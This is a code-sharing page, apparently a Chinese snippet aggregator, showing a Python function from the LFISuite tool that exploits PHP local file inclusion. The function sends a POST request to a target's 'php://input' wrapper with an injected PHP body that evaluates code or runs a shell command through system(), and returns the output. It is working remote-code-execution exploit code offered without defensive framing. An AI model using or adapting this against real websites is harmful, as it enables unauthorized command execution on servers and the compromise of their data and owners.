lfisuite.py 文件源码

python
阅读 53 收藏 0 点赞 0 评论 0

项目:LFISuite 作者: D35m0nd142 项目源码 文件源码
def send_phpinput_cmd(cmd, inputurl):
    global gen_headers

    if(inputurl[-11:] == "php://input"):
        inputurl = inputurl[:-11]

    url = "%sphp://input" %(inputurl)
    phpcmd = cmd[:6] == "php://"
    body = ""

    if(phpcmd):
        cmd = cmd[6:]
        length = 27+len(cmd)
        body = "AbracadabrA ** <?php %s?> **" %cmd
    else:
        length = 34+len(cmd)
        body = "AbracadabrA ** <?php system('%s');?> **" %cmd

    gen_headers['Content-Length'] = '%s' %length
    r = requests.post(url=url, headers=gen_headers, data=body)

    return r.text
评论列表
文章目录


问题


面经


文章

微信
公众号

扫码关注公众号